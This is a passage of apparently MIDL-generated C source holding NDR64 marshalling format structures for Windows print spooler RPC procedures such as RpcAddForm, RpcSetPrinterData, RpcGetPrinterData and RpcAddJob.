_NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag479_t __midl_frag479 =\n{ \n/* *FORM_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag480\n};\n\nstatic const __midl_frag478_t __midl_frag478 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag477_t __midl_frag477 =\n{ \n/* __MIDL_winspool_0005 */\n    { \n    /* __MIDL_winspool_0005 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag478,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag479,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag483,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag476_t __midl_frag476 =\n{ \n/* FORM_CONTAINER */\n    { \n    /* FORM_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag477\n        },\n        { \n        /* FORM_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag473_t __midl_frag473 =\n{ \n/* RpcAddForm */\n    { \n    /* RpcAddForm */      /* procedure RpcAddForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag476,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag471_t __midl_frag471 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag470_t __midl_frag470 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag471\n};\n\nstatic const __midl_frag469_t __midl_frag469 =\n{ \n/* RpcClosePrinter */\n    { \n    /* RpcClosePrinter */      /* procedure RpcClosePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinter */      /* parameter phPrinter */\n        &__midl_frag471,\n        { \n        /* phPrinter */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag463_t __midl_frag463 =\n{ \n/* RpcWaitForPrinterChange */\n    { \n    /* RpcWaitForPrinterChange */      /* procedure RpcWaitForPrinterChange */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag1082,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pFlags */      /* parameter pFlags */\n        &__midl_frag1082,\n        { \n        /* pFlags */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag458_t __midl_frag458 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag503\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag457_t __midl_frag457 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag458\n};\n\nstatic const __midl_frag452_t __midl_frag452 =\n{ \n/* RpcSetPrinterData */\n    { \n    /* RpcSetPrinterData */      /* procedure RpcSetPrinterData */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag1082,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag458,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag1082,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag444_t __midl_frag444 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag502\n};\n\nstatic const __midl_frag438_t __midl_frag438 =\n{ \n/* RpcGetPrinterData */\n    { \n    /* RpcGetPrinterData */      /* procedure RpcGetPrinterData */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag1082,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag502,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag1082,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag434_t __midl_frag434 =\n{ \n/* RpcScheduleJob */\n    { \n    /* RpcScheduleJob */      /* procedure RpcScheduleJob */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag423_t __midl_frag423 =\n{ \n/* RpcAddJob */\n    { \n    /* RpcAddJob */      /* procedure RpcAddJob */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pAddJob */      /* parameter pAddJob */\n        &__midl_frag546,\n        { \n        /* pAddJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            